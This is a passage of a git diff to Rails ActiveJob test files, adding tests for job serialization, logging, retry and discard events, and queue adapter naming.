+      assert_notifications_count("enqueue_retry.active_job", 1) { RetryJob.perform_later("DefaultsError", 2) }
+    end
+
+    test "retry exhaustion emits a retry_stopped event" do
+      assert_notifications_count("retry_stopped.active_job", 1) { RetryJob.perform_later("CustomCatchError", 6) }
+    end
+  end
+
+  test "discard emits a discard event" do
+    assert_notifications_count("discard.active_job", 1) { RetryJob.perform_later("DiscardableError", 6) }
+  end
+end
diff --git a/activejob/test/cases/job_serialization_test.rb b/activejob/test/cases/job_serialization_test.rb
index 3f2e300dfa13c..0eeaa0c47010c 100644
--- a/activejob/test/cases/job_serialization_test.rb
+++ b/activejob/test/cases/job_serialization_test.rb
@@ -1,8 +1,11 @@
+# frozen_string_literal: true
+
 require "helper"
 require "jobs/gid_job"
 require "jobs/hello_job"
 require "models/person"
 require "json"
+require "active_support/json"
 
 class JobSerializationTest < ActiveSupport::TestCase
   setup do
@@ -19,18 +22,104 @@ class JobSerializationTest < ActiveSupport::TestCase
     assert_equal "en", HelloJob.new.serialize["locale"]
   end
 
+  test "a deserialized job keeps its locale even if I18n.locale changes" do
+    old_locales = I18n.available_locales
+    begin
+      I18n.available_locales = [:en, :es]
+      I18n.locale = :es
+      payload = HelloJob.new.serialize
+      assert_equal "es", payload["locale"]
+
+      I18n.locale = :en
+
+      new_job = HelloJob.new
+      new_job.deserialize(payload)
+
+      assert_equal "es", new_job.serialize["locale"]
+    ensure
+      I18n.available_locales = old_locales
+    end
+  end
+
+  test "keeps scheduled_at around after deserialization if data doesnt include it" do
+    freeze_time
+
+    current_time = Time.now
+
+    job = HelloJob.new
+    serialized_job = job.serialize
+    job.set(wait_until: current_time)
+
+    job.deserialize(serialized_job)
+
+    assert_equal current_time, job.scheduled_at
+  end
+
+  test "deserializes enqueued_at when ActiveSupport.parse_json_times is true" do
+    freeze_time
+
+    Time.use_zone "US/Eastern" do
+      with_parse_json_times(true) do
+        current_time = Time.now
+
+        job = HelloJob.new
+        serialized_job = job.serialize
+        payload = ActiveSupport::JSON.decode(serialized_job.to_json)
+
+        new_job = HelloJob.new
+        new_job.deserialize(payload)
+
+        assert_equal current_time, new_job.enqueued_at
+      end
+    end
+  end
+
+  test "deserializes scheduled_at when ActiveSupport.parse_json_times is true" do
+    freeze_time
+
+    Time.use_zone "US/Eastern" do
+      with_parse_json_times(true) do
+        current_time = Time.now
+
+        job = HelloJob.new
+        job.scheduled_at = current_time
+        serialized_job = job.serialize
+        payload = ActiveSupport::JSON.decode(serialized_job.to_json)
+
+        new_job = HelloJob.new
+        new_job.deserialize(payload)
+
+        assert_equal current_time, new_job.scheduled_at
+      end
+    end
+  end
+
   test "serialize and deserialize are symmetric" do
+    # Ensure `enqueued_at` does not change between serializations
+    freeze_time
+
     # Round trip a job in memory only
-    h1 = HelloJob.new
-    h1.deserialize(h1.serialize)
+    h1 = HelloJob.new("Rafael")
+    h2 = HelloJob.deserialize(h1.serialize)
+    assert_equal h1.serialize, h2.serialize
 
     # Now verify it's identical to a JSON round trip.
     # We don't want any non-native JSON elements in the job hash,
     # like symbols.
-    payload = JSON.dump(h1.serialize)
-    h2 = HelloJob.new
-    h2.deserialize(JSON.load(payload))
-    assert_equal h1.serialize, h2.serialize
+    payload = JSON.dump(h2.serialize)
+    h3 = HelloJob.deserialize(JSON.load(payload))
+    assert_equal h2.serialize, h3.serialize
+  end
+
+  test "deserialize raises a specific exception on unknown `job_class`" do
+    payload = HelloJob.new.serialize
+
+    # Simulate the job class being missing, for example during rolling deploys when
+    # the server enqueues a new job but the job processor hasn't been restarted yet.
+    payload["job_class"] = "IDontExist"
+    assert_raises(ActiveJob::UnknownJobClassError) do
+      HelloJob.deserialize(payload)
+    end
   end
 
   test "deserialize sets locale" do
@@ -44,4 +133,56 @@ class JobSerializationTest < ActiveSupport::TestCase
     job.deserialize({})
     assert_equal "en", job.locale
   end
+
+  test "serialize stores provider_job_id" do
+    job = HelloJob.new
+    assert_nil job.serialize["provider_job_id"]
+
+    job.provider_job_id = "some value set by adapter"
+    assert_equal job.provider_job_id, job.serialize["provider_job_id"]
+  end
+
+  test "serialize stores the current timezone" do
+    Time.use_zone "Hawaii" do
+      job = HelloJob.new
+      assert_equal "Hawaii", job.serialize["timezone"]
+    end
+  end
+
+  test "serializes and deserializes enqueued_at with full precision" do
+    freeze_time
+
+    serialized = HelloJob.new.serialize
+    assert_kind_of String, serialized["enqueued_at"]
+
+    enqueued_at = HelloJob.deserialize(serialized).enqueued_at
+    assert_kind_of Time, enqueued_at
+    assert_equal Time.now.utc, enqueued_at
+  end
+
+  test "serializes and deserializes scheduled_at as Time" do
+    freeze_time
+    current_time = Time.now
+
+    job = HelloJob.new
+    job.scheduled_at = current_time
+    serialized_job = job.serialize
+    assert_kind_of String, serialized_job["enqueued_at"]
+    assert_equal current_time.utc.iso8601(9), serialized_job["enqueued_at"]
+
+    deserialized_job = HelloJob.new
+    deserialized_job.deserialize(serialized_job)
+    assert_equal current_time, deserialized_job.scheduled_at
+
+    assert_equal job.serialize, deserialized_job.serialize
+  end
+
+  private
+    def with_parse_json_times(value)
+      old_value = ActiveSupport.parse_json_times
+      ActiveSupport.parse_json_times = value
+      yield
+    ensure
+      ActiveSupport.parse_json_times = old_value
+    end
 end
diff --git a/activejob/test/cases/logging_test.rb b/activejob/test/cases/logging_test.rb
index 954974b2a5e32..1a0981a9a804f 100644
--- a/activejob/test/cases/logging_test.rb
+++ b/activejob/test/cases/logging_test.rb
@@ -1,45 +1,31 @@
+# frozen_string_literal: true
+
 require "helper"
 require "active_support/log_subscriber/test_helper"
 require "active_support/core_ext/numeric/time"
+require "support/test_logger"
 require "jobs/hello_job"
 require "jobs/logging_job"
 require "jobs/overridden_logging_job"
 require "jobs/nested_job"
+require "jobs/rescue_job"
+require "jobs/retry_job"
+require "jobs/disable_log_job"
+require "jobs/abort_before_enqueue_job"
+require "jobs/enqueue_error_job"
 require "models/person"
 
 class LoggingTest < ActiveSupport::TestCase
-  include ActiveSupport::LogSubscriber::TestHelper
+  include ActiveJob::TestHelper
   include ActiveSupport::Logger::Severity
+  include TestLoggerHelper
 
-  class TestLogger < ActiveSupport::Logger
-    def initialize
-      @file = StringIO.new
-      super(@file)
-    end
-
-    def messages
-      @file.rewind
-      @file.read
-    end
-  end
-
-  def setup
-    super
-    JobBuffer.clear
-    @old_logger = ActiveJob::Base.logger
-    @logger = ActiveSupport::TaggedLogging.new(TestLogger.new)
-    set_logger @logger
-    ActiveJob::Logging::LogSubscriber.attach_to :active_job
-  end
-
-  def teardown
-    super
-    ActiveJob::Logging::LogSubscriber.log_subscribers.pop
-    set_logger @old_logger
+  setup do
+    ActiveJob::LogSubscriber.logger = @logger
   end
 
-  def set_logger(logger)
-    ActiveJob::Base.logger = logger
+  teardown do
+    ActiveJob::LogSubscriber.logger = nil
   end
 
   def test_uses_active_job_as_tag
@@ -48,13 +34,17 @@ def test_uses_active_job_as_tag
   end
 
   def test_uses_job_name_as_tag
-    LoggingJob.perform_later "Dummy"
-    assert_match(/\[LoggingJob\]/, @logger.messages)
+    perform_enqueued_jobs do
+      LoggingJob.perform_later "Dummy"
+      assert_match(/\[LoggingJob\]/, @logger.messages)
+    end
   end
 
   def test_uses_job_id_as_tag
-    LoggingJob.perform_later "Dummy"
-    assert_match(/\[LOGGING-JOB-ID\]/, @logger.messages)
+    perform_enqueued_jobs do
+      LoggingJob.perform_later "Dummy"
+      assert_match(/\[LOGGING-JOB-ID\]/, @logger.messages)
+    end
   end
 
   def test_logs_correct_queue_name
@@ -67,61 +57,439 @@ def test_logs_correct_queue_name
   end
 
   def test_globalid_parameter_logging
-    person = Person.new(123)
-    LoggingJob.perform_later person
-    assert_match(%r{Enqueued.*gid://aj/Person/123}, @logger.messages)
-    assert_match(%r{Dummy, here is it: #<Person:.*>}, @logger.messages)
-    assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages)
+    perform_enqueued_jobs do
+      person = Person.new(123)
+      LoggingJob.perform_later person
+      assert_match(%r{Enqueued.*gid://aj/Person/123}, @logger.messages)
+      assert_match(%r{Dummy, here is it: #<Person:.*>}, @logger.messages)
+      assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages)
+    end
   end
 
   def test_globalid_nested_parameter_logging
-    person = Person.new(123)
-    LoggingJob.perform_later(person: person)
-    assert_match(%r{Enqueued.*gid://aj/Person/123}, @logger.messages)
-    assert_match(%r{Dummy, here is it: .*#<Person:.*>}, @logger.messages)
-    assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages)
+    perform_enqueued_jobs do
+      person = Person.new(123)
+      LoggingJob.perform_later(person: person)
+      assert_match(%r{Enqueued.*gid://aj/Person/123}, @logger.messages)
+      assert_match(%r{Dummy, here is it: .*#<Person:.*>}, @logger.messages)
+      assert_match(%r{Performing.*gid://aj/Person/123}, @logger.messages)
+    end
   end
 
   def test_enqueue_job_logging
-    HelloJob.perform_later "Cristian"
+    assert_notifications_count(/enqueue.*\.active_job/, 1) do
+      assert_notifications_count("enqueue.active_job", 1) do
+        HelloJob.perform_later "Cristian"
+      end
+    end
+
     assert_match(/Enqueued HelloJob \(Job ID: .*?\) to .*?:.*Cristian/, @logger.messages)
   end
 
+  def test_enqueue_job_log_error_when_callback_chain_is_halted
+    assert_notifications_count(/enqueue.*\.active_job/, 1) do
+      assert_notification("enqueue.active_job") do
+        AbortBeforeEnqueueJob.perform_later
+      end
+    end
+
+    assert_match(/Failed enqueuing AbortBeforeEnqueueJob.* a before_enqueue callback halted/, @logger.messages)
+  end
+
+  def test_enqueue_job_log_error_when_error_is_raised_during_callback_chain
+    assert_notifications_count(/enqueue.*\.active_job/, 1) do
+      assert_notification("enqueue.active_job") do
+        assert_raises(AbortBeforeEnqueueJob::MyError) do
+          AbortBeforeEnqueueJob.perform_later(:raise)
+        end
+      end
+    end
+
+    assert_match(/Failed enqueuing AbortBeforeEnqueueJob/, @logger.messages)
+  end
+
   def test_perform_job_logging
-    LoggingJob.perform_later "Dummy"
-    assert_match(/Performing LoggingJob from .*? with arguments:.*Dummy/, @logger.messages)
-    assert_match(/Dummy, here is it: Dummy/, @logger.messages)
-    assert_match(/Performed LoggingJob from .*? in .*ms/, @logger.messages)
+    perform_enqueued_jobs do
+      LoggingJob.perform_later "Dummy"
+      assert_match(/Performing LoggingJob \(Job ID: .*?\) from .*? with arguments:.*Dummy/, @logger.messages)
+
+      assert_match(/enqueued at /, @logger.messages)
+      assert_match(/Dummy, here is it: Dummy/, @logger.messages)
+      assert_match(/Performed LoggingJob \(Job ID: .*?\) from .*? in .*ms/, @logger.messages)
+    end
+  end
+
+  def test_perform_job_logging_when_job_is_not_enqueued
+    perform_enqueued_jobs do
+      LoggingJob.perform_now "Dummy"
+
+      assert_match(/Performing LoggingJob \(Job ID: .*?\) from .*? with arguments:.*Dummy/, @logger.messages)
+      assert_no_match(/enqueued at /, @logger.messages)
+    end
+  end
+
+  def test_perform_job_log_error_when_callback_chain_is_halted
+    AbortBeforeEnqueueJob.perform_now
+    assert_match(/Error performing AbortBeforeEnqueueJob.* a before_perform callback halted/, @logger.messages)
+  end
+
+  def test_perform_job_doesnt_log_error_when_job_returns_falsy_value
+    job = Class.new(ActiveJob::Base) do
+      def perform
+        nil
+      end
+    end
+
+    job.perform_now
+    assert_no_match(/Error performing AbortBeforeEnqueueJob.* a before_perform callback halted/, @logger.messages)
+  end
+
+  def test_perform_job_doesnt_log_error_when_job_is_performed_multiple_times_and_fail_the_first_time
+    job = Class.new(ActiveJob::Base) do
+      before_perform do
+        throw(:abort) if arguments[0].pop == :abort
+      end
+
+      def perform(_)
+      end
+    end.new([:dont_abort, :abort])
+
+    job.perform_now
+    job.perform_now
+
+    assert_equal(1, @logger.messages.scan(/a before_perform callback halted the job execution/).size)
+  end
+
+  def test_perform_disabled_job_logging
+    perform_enqueued_jobs do
+      DisableLogJob.perform_later "Dummy"
+      assert_no_match(/Enqueued DisableLogJob \(Job ID: .*?\) from .*? with arguments:.*Dummy/, @logger.messages)
+      assert_no_match(/Performing DisableLogJob \(Job ID: .*?\) from .*? with arguments:.*Dummy/, @logger.messages)
+
+      assert_match(/enqueued at /, @logger.messages)
+      assert_match(/Dummy, here is it: Dummy/, @logger.messages)
+      assert_match(/Performed DisableLogJob \(Job ID: .*?\) from .*? in .*ms/, @logger.messages)
+    end
   end
 
   def test_perform_nested_jobs_logging
-    NestedJob.perform_later
-    assert_match(/\[LoggingJob\] \[.*?\]/, @logger.messages)
-    assert_match(/\[ActiveJob\] Enqueued NestedJob \(Job ID: .*\) to/, @logger.messages)
-    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performing NestedJob from/, @logger.messages)
-    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Enqueued LoggingJob \(Job ID: .*?\) to .* with arguments: "NestedJob"/, @logger.messages)
-    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performing LoggingJob from .* with arguments: "NestedJob"/, @logger.messages)
-    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Dummy, here is it: NestedJob/, @logger.messages)
-    assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performed LoggingJob from .* in/, @logger.messages)
-    assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performed NestedJob from .* in/, @logger.messages)
+    perform_enqueued_jobs do
+      NestedJob.perform_later
+      assert_match(/\[LoggingJob\] \[.*?\]/, @logger.messages)
+      assert_match(/\[ActiveJob\] Enqueued NestedJob \(Job ID: .*\) to/, @logger.messages)
+      assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performing NestedJob \(Job ID: .*?\) from/, @logger.messages)
+      assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Enqueued LoggingJob \(Job ID: .*?\) to .* with arguments: "NestedJob"/, @logger.messages)
+      assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performing LoggingJob \(Job ID: .*?\) from .* with arguments: "NestedJob"/, @logger.messages)
+      assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Dummy, here is it: NestedJob/, @logger.messages)
+      assert_match(/\[ActiveJob\].*\[LoggingJob\] \[LOGGING-JOB-ID\] Performed LoggingJob \(Job ID: .*?\) from .* in/, @logger.messages)
+      assert_match(/\[ActiveJob\] \[NestedJob\] \[NESTED-JOB-ID\] Performed NestedJob \(Job ID: .*?\) from .* in/, @logger.messages)
+    end
+  end
+
+  unless adapter_is?(:inline, :sneakers)
+    def test_enqueue_at_job_logging
+      assert_notifications_count(/enqueue.*\.active_job/, 1) do
+        assert_notification("enqueue_at.active_job") do
+          HelloJob.set(wait_until: 24.hours.from_now).perform_later "Cristian"
+        end
+      end
+
+      assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
+    end
+  end
+
+  def test_enqueue_at_job_log_error_when_callback_chain_is_halted
+    assert_notifications_count(/enqueue.*\.active_job/, 1) do
+      assert_notification("enqueue_at.active_job") do
+        AbortBeforeEnqueueJob.set(wait: 1.second).perform_later
+      end
+    end
+
+    assert_match(/Failed enqueuing AbortBeforeEnqueueJob.* a before_enqueue callback halted/, @logger.messages)
   end
 
-  def test_enqueue_at_job_logging
-    HelloJob.set(wait_until: 24.hours.from_now).perform_later "Cristian"
-    assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
-  rescue NotImplementedError
-    skip
+  def test_enqueue_at_job_log_error_when_error_is_raised_during_callback_chain
+    assert_notifications_count(/enqueue.*\.active_job/, 1) do
+      assert_notification("enqueue_at.active_job") do
+        assert_raises(AbortBeforeEnqueueJob::MyError) do
+          AbortBeforeEnqueueJob.set(wait: 1.second).perform_later(:raise)
+        end
+      end
+    end
+
+    assert_match(/Failed enqueuing AbortBeforeEnqueueJob/, @logger.messages)
+  end
+
+  unless adapter_is?(:inline, :sneakers)
+    def test_enqueue_in_job_logging
+      assert_notifications_count(/enqueue.*\.active_job/, 1) do
+        assert_notification("enqueue_at.active_job") do
+          HelloJob.set(wait: 2.seconds).perform_later "Cristian"
+        end
+      end
+
+      assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
+    end
   end
 
-  def test_enqueue_in_job_logging
-    HelloJob.set(wait: 2.seconds).perform_later "Cristian"
-    assert_match(/Enqueued HelloJob \(Job ID: .*\) to .*? at.*Cristian/, @logger.messages)
-  rescue NotImplementedError
-    skip
+  def test_enqueue_log_when_enqueue_error_is_set
+    EnqueueErrorJob.disable_test_adapter
+
+    EnqueueErrorJob.perform_later
+    assert_match(/Failed enqueuing EnqueueErrorJob to EnqueueError\(default\): ActiveJob::EnqueueError \(There was an error enqueuing the job\)/, @logger.messages)
+  end
+
+  def test_enqueue_at_log_when_enqueue_error_is_set
+    EnqueueErrorJob.disable_test_adapter
+
+    EnqueueErrorJob.set(wait: 1.hour).perform_later
+    assert_match(/Failed enqueuing EnqueueErrorJob to EnqueueError\(default\): ActiveJob::EnqueueError \(There was an error enqueuing the job\)/, @logger.messages)
   end
 
   def test_for_tagged_logger_support_is_consistent
     set_logger ::Logger.new(nil)
-    OverriddenLoggingJob.perform_later "Dummy"
+    assert_nothing_raised do
+      OverriddenLoggingJob.perform_later "Dummy"
+    end
+  end
+
+  def test_job_error_logging
+    perform_enqueued_jobs do
+      RescueJob.perform_later "other"
+    rescue RescueJob::OtherError
+      assert_match(/Performing RescueJob \(Job ID: .*?\) from .*? with arguments:.*other/, @logger.messages)
+      assert_match(/Error performing RescueJob \(Job ID: .*?\) from .*? in .*ms: RescueJob::OtherError \(Bad hair\):\n.*\brescue_job\.rb:\d+:in .*perform'/, @logger.messages)
+    end
+  end
+
+  def test_job_error_logging_backtrace_cleaner
+    perform_enqueued_jobs do
+      assert_raises(RescueJob::OtherError) do
+        RescueJob.perform_later "other"
+      end
+    end
+
+    assert_match(/rescue_job\.rb:\d+:in .*perform'/, @logger.messages)
+    assert_empty(@logger.messages.lines.grep(/minitest\//))
+    assert_empty(@logger.messages.lines.grep(/gems\//))
+  end
+
+  def test_job_no_error_logging_on_rescuable_job
+    perform_enqueued_jobs { RescueJob.perform_later "david" }
+    assert_match(/Performing RescueJob \(Job ID: .*?\) from .*? with arguments:.*david/, @logger.messages)
+    assert_no_match(/Error performing RescueJob \(Job ID: .*?\) from .*? in .*ms: ArgumentError \(Hair too good\):\n.*\brescue_job\.rb:\d+:in .*perform'/, @logger.messages)
+  end
+
+  unless adapter_is?(:inline, :sneakers)
+    def test_enqueue_retry_logging
+      perform_enqueued_jobs do
+        RetryJob.perform_later "DefaultsError", 2
+        assert_match(/Retrying RetryJob \(Job ID: .*?\) after \d+ attempts in 3 seconds, due to a DefaultsError.*\./, @logger.messages)
+      end
+    end
+
+    def test_retry_different_queue_logging
+      perform_enqueued_jobs do
+        perform_enqueued_jobs do
+          RetryJob.perform_later("HeavyError", 2)
+          assert_match(/Performed RetryJob \(Job ID: .*?\) from .+\(default\) in .*ms/, @logger.messages)
+        end
+        assert_match(/Performed RetryJob \(Job ID: .*?\) from .+\(low\) in .*ms/, @logger.messages)
+      end
+    end
+  end
+
+  def test_enqueue_retry_logging_on_retry_job
+    perform_enqueued_jobs { RescueJob.perform_later "david" }
+    assert_match(/Retrying RescueJob \(Job ID: .*?\) after \d+ attempts in 0 seconds\./, @logger.messages)
+  end
+
+  unless adapter_is?(:inline, :sneakers)
+    def test_retry_stopped_logging
+      perform_enqueued_jobs do
+        RetryJob.perform_later "CustomCatchError", 6
+      end
+      assert_match(/Stopped retrying RetryJob \(Job ID: .*?\) due to a CustomCatchError.*, which reoccurred on \d+ attempts\./, @logger.messages)
+    end
+
+    def test_retry_stopped_logging_without_block
+      perform_enqueued_jobs do
+        RetryJob.perform_later "DefaultsError", 6
+      rescue DefaultsError
+        assert_match(/Stopped retrying RetryJob \(Job ID: .*?\) due to a DefaultsError.*, which reoccurred on \d+ attempts\./, @logger.messages)
+      end
+    end
+  end
+
+  def test_discard_logging
+    perform_enqueued_jobs do
+      RetryJob.perform_later "DiscardableError", 2
+      assert_match(/Discarded RetryJob \(Job ID: .*?\) due to a DiscardableError.*\./, @logger.messages)
+    end
+  end
+
+  def test_enqueue_all_job_logging_some_jobs_failed_enqueuing
+    EnqueueErrorJob.disable_test_adapter
+
+    EnqueueErrorJob::EnqueueErrorAdapter.should_raise_sequence = [false, true]
+
+    ActiveJob.perform_all_later(EnqueueErrorJob.new, EnqueueErrorJob.new)
+    assert_match(/Enqueued 1 job to .+ \(1 EnqueueErrorJob\)\. Failed enqueuing 1 job/, @logger.messages)
+  ensure
+    EnqueueErrorJob::EnqueueErrorAdapter.should_raise_sequence = []
+  end
+
+  def test_enqueue_all_job_logging_all_jobs_failed_enqueuing
+    EnqueueErrorJob.disable_test_adapter
+
+    EnqueueErrorJob::EnqueueErrorAdapter.should_raise_sequence = [true, true]
+
+    ActiveJob.perform_all_later(EnqueueErrorJob.new, EnqueueErrorJob.new)
+    assert_match(/Failed enqueuing 2 jobs to .+/, @logger.messages)
+  ensure
+    EnqueueErrorJob::EnqueueErrorAdapter.should_raise_sequence = []
+  end
+
+  def test_verbose_enqueue_logs
+    ActiveJob.verbose_enqueue_logs = true
+
+    LoggingJob.perform_later "Dummy"
+    assert_match("↳", @logger.messages)
+  ensure
+    ActiveJob.verbose_enqueue_logs = false
+  end
+
+  def test_verbose_enqueue_logs_disabled_by_default
+    LoggingJob.perform_later "Dummy"
+    assert_no_match("↳", @logger.messages)
+  end
+
+  def test_enqueue_all_job_logging
+    ActiveJob.perform_all_later(LoggingJob.new("Dummy"), HelloJob.new("Jamie"), HelloJob.new("John"))
+    assert_match(/Enqueued 3 jobs to .+ \(2 HelloJob, 1 LoggingJob\)/, @logger.messages)
+  end
+
+  def test_enqueue_all_graceful_failure_when_enqueued_count_is_nil
+    original_adapter = ActiveJob::Base.queue_adapter
+
+    stubbed_inline_adapter = ActiveJob::QueueAdapters::InlineAdapter.new
+    def stubbed_inline_adapter.respond_to?(method_name, include_private = false)
+      method_name == :enqueue_all || super
+    end
+    def stubbed_inline_adapter.enqueue_all(*)
+      nil
+    end
+
+    ActiveJob::Base.queue_adapter = stubbed_inline_adapter
+
+    ActiveJob.perform_all_later(LoggingJob.new("Dummy"), HelloJob.new("Jamie"), HelloJob.new("John"))
+    assert_match(/Failed enqueuing 3 jobs to .+/, @logger.messages)
+  ensure
+    ActiveJob::Base.queue_adapter = original_adapter
+  end
+
+  def test_enqueue_log_level
+    @logger.level = WARN
+    HelloJob.perform_later "Dummy"
+    assert_no_match(/HelloJob/, @logger.messages)
+    assert_empty @logger.messages
+
+    @logger.level = INFO
+    LoggingJob.perform_later "Dummy"
+    assert_match(/Enqueued LoggingJob \(Job ID: .*?\) to .*? with arguments:.*Dummy/, @logger.messages)
+  end
+
+  unless adapter_is?(:inline, :sneakers)
+    def test_enqueue_at_log_level
+      @logger.level = WARN
+      HelloJob.set(wait_until: 24.hours.from_now).perform_later "Cristian"
+      assert_no_match(/HelloJob/, @logger.messages)
+      assert_empty @logger.messages
+
+      @logger.level = INFO
+      LoggingJob.set(wait_until: 24.hours.from_now).perform_later "Dummy"
+      assert_match(/Enqueued LoggingJob \(Job ID: .*\) to .*? at.*Dummy/, @logger.messages)
+    end
+  end
+
+  def test_enqueue_all_log_level
+    @logger.level = WARN
+    ActiveJob.perform_all_later(LoggingJob.new("Dummy"), HelloJob.new("Jamie"), HelloJob.new("John"))
+    assert_no_match(/\(2 HelloJob, 1 LoggingJob\)/, @logger.messages)
+    assert_empty @logger.messages
+
+    @logger.level = INFO
+    ActiveJob.perform_all_later(LoggingJob.new("Dummy"), HelloJob.new("Jamie"), HelloJob.new("John"))
+    assert_match(/Enqueued 3 jobs to .+ \(2 HelloJob, 1 LoggingJob\)/, @logger.messages)
+  end
+
+  def test_perform_start_log_level
+    @logger.level = WARN
+    perform_enqueued_jobs { LoggingJob.perform_later "Dummy" }
+    assert_no_match(/LoggingJob/, @logger.messages)
+    assert_empty @logger.messages
+
+    @logger.level = INFO
+    perform_enqueued_jobs { LoggingJob.perform_later "Dummy" }
+    assert_match(/Performing LoggingJob \(Job ID: .*?\) from .*? with arguments:.*Dummy/, @logger.messages)
+  end
+
+  def test_perform_log_level
+    @logger.level = WARN
+    perform_enqueued_jobs { LoggingJob.perform_later "Dummy" }
+    assert_no_match(/Dummy, here is it: Dummy/, @logger.messages)
+    assert_empty @logger.messages
+
+    @logger.level = INFO
+    perform_enqueued_jobs { LoggingJob.perform_later "Dummy" }
+    assert_match(/Dummy, here is it: Dummy/, @logger.messages)
+  end
+
+  unless adapter_is?(:inline, :sneakers)
+    def test_enqueue_retry_log_level
+      @logger.level = WARN
+      perform_enqueued_jobs { RetryJob.perform_later "DefaultsError", 2 }
+      assert_no_match(/RetryJob/, @logger.messages)
+      assert_empty @logger.messages
+
+      @logger.level = INFO
+      perform_enqueued_jobs { RetryJob.perform_later "DefaultsError", 2 }
+      assert_match(/Retrying RetryJob \(Job ID: .*?\) after \d+ attempts in 3 seconds, due to a DefaultsError.*\./, @logger.messages)
+    end
+  end
+
+  def test_enqueue_retry_log_level_on_retry_job
+    @logger.level = WARN
+    perform_enqueued_jobs { RescueJob.perform_later "david" }
+    assert_no_match(/RescueJob/, @logger.messages)
+    assert_empty @logger.messages
+
+    @logger.level = INFO
+    perform_enqueued_jobs { RescueJob.perform_later "david" }
+    assert_match(/Retrying RescueJob \(Job ID: .*?\) after \d+ attempts in 0 seconds\./, @logger.messages)
+  end
+
+  unless adapter_is?(:inline, :sneakers)
+    def test_retry_stopped_log_level
+      @logger.level = FATAL
+      perform_enqueued_jobs { RetryJob.perform_later "CustomCatchError", 6 }
+      assert_no_match(/RetryJob/, @logger.messages)
+      assert_empty @logger.messages
+
+      @logger.level = ERROR
+      perform_enqueued_jobs { RetryJob.perform_later "CustomCatchError", 6 }
+      assert_match(/Stopped retrying RetryJob \(Job ID: .*?\) due to a CustomCatchError.*, which reoccurred on \d+ attempts\./, @logger.messages)
+    end
+  end
+
+  def test_discard_log_level
+    @logger.level = FATAL
+    perform_enqueued_jobs { RetryJob.perform_later "DiscardableError", 2 }
+    assert_no_match(/RetryJob/, @logger.messages)
+    assert_empty @logger.messages
+
+    @logger.level = ERROR
+    perform_enqueued_jobs { RetryJob.perform_later "DiscardableError", 2 }
+    assert_match(/Discarded RetryJob \(Job ID: .*?\) due to a DiscardableError.*\./, @logger.messages)
   end
 end
diff --git a/activejob/test/cases/queue_adapter_test.rb b/activejob/test/cases/queue_adapter_test.rb
index 9611b0909bfd4..93f8474003294 100644
--- a/activejob/test/cases/queue_adapter_test.rb
+++ b/activejob/test/cases/queue_adapter_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "helper"
 
 module ActiveJob
@@ -25,20 +27,73 @@ class QueueAdapterTest < ActiveJob::TestCase
     base_queue_adapter = ActiveJob::Base.queue_adapter
 
     child_job_one = Class.new(ActiveJob::Base)
+    assert_equal child_job_one.queue_adapter_name, ActiveJob::Base.queue_adapter_name
+
     child_job_one.queue_adapter = :stub_one
 
     assert_not_equal ActiveJob::Base.queue_adapter, child_job_one.queue_adapter
+    assert_equal "stub_one", child_job_one.queue_adapter_name
     assert_kind_of ActiveJob::QueueAdapters::StubOneAdapter, child_job_one.queue_adapter
+    assert_kind_of ActiveJob::QueueAdapters::StubOneAdapter, child_job_one.new.queue_adapter
 
     child_job_two = Class.new(ActiveJob::Base)
     child_job_two.queue_adapter = :stub_two
 
+    assert_equal "stub_two", child_job_two.queue_adapter_name
+
     assert_kind_of ActiveJob::QueueAdapters::StubTwoAdapter, child_job_two.queue_adapter
+    assert_kind_of ActiveJob::QueueAdapters::StubTwoAdapter, child_job_two.new.queue_adapter
     assert_kind_of ActiveJob::QueueAdapters::StubOneAdapter, child_job_one.queue_adapter, "child_job_one's queue adapter should remain unchanged"
     assert_equal base_queue_adapter, ActiveJob::Base.queue_adapter, "ActiveJob::Base's queue adapter should remain unchanged"
 
     child_job_three = Class.new(ActiveJob::Base)
 
-    assert_not_nil child_job_three.queue_adapter
+    assert_equal base_queue_adapter, child_job_three.queue_adapter, "child_job_three's queue adapter should remain unchanged"
+  end
+
+  test "should default to :async adapter if no adapters are set at all" do
+    ActiveJob::Base.disable_test_adapter
+    _queue_adapter_was = ActiveJob::Base._queue_adapter
+    _queue_adapter_name_was = ActiveJob::Base._queue_adapter_name
+    ActiveJob::Base._queue_adapter = ActiveJob::Base._queue_adapter_name = nil
+
+    assert_equal "async", ActiveJob::Base.queue_adapter_name
+    assert_kind_of ActiveJob::QueueAdapters::AsyncAdapter, ActiveJob::Base.queue_adapter
+  ensure
+    ActiveJob::Base._queue_adapter = _queue_adapter_was
+    ActiveJob::Base._queue_adapter_name = _queue_adapter_name_was
+  end
+
+  test "should extract a reasonable name from a class instance" do
+    child_job = Class.new(ActiveJob::Base)
+    child_job.queue_adapter = ActiveJob::QueueAdapters::StubOneAdapter.new
+    assert_equal "stub_one", child_job.queue_adapter_name
+  end
+
+  module StubThreeAdapter
+    class << self
+      def enqueue(*); end
+      def enqueue_at(*); end
+    end
+  end
+
+  test "should extract a reasonable name from a class or module" do
+    child_job = Class.new(ActiveJob::Base)
+    child_job.queue_adapter = StubThreeAdapter
+    assert_equal "stub_three", child_job.queue_adapter_name
+  end
+
+  class StubFourAdapter
+    def enqueue(*); end
+    def enqueue_at(*); end
+    def queue_adapter_name
+      "fancy_name"
+    end
+  end
+
+  test "should use the name provided by the adapter" do
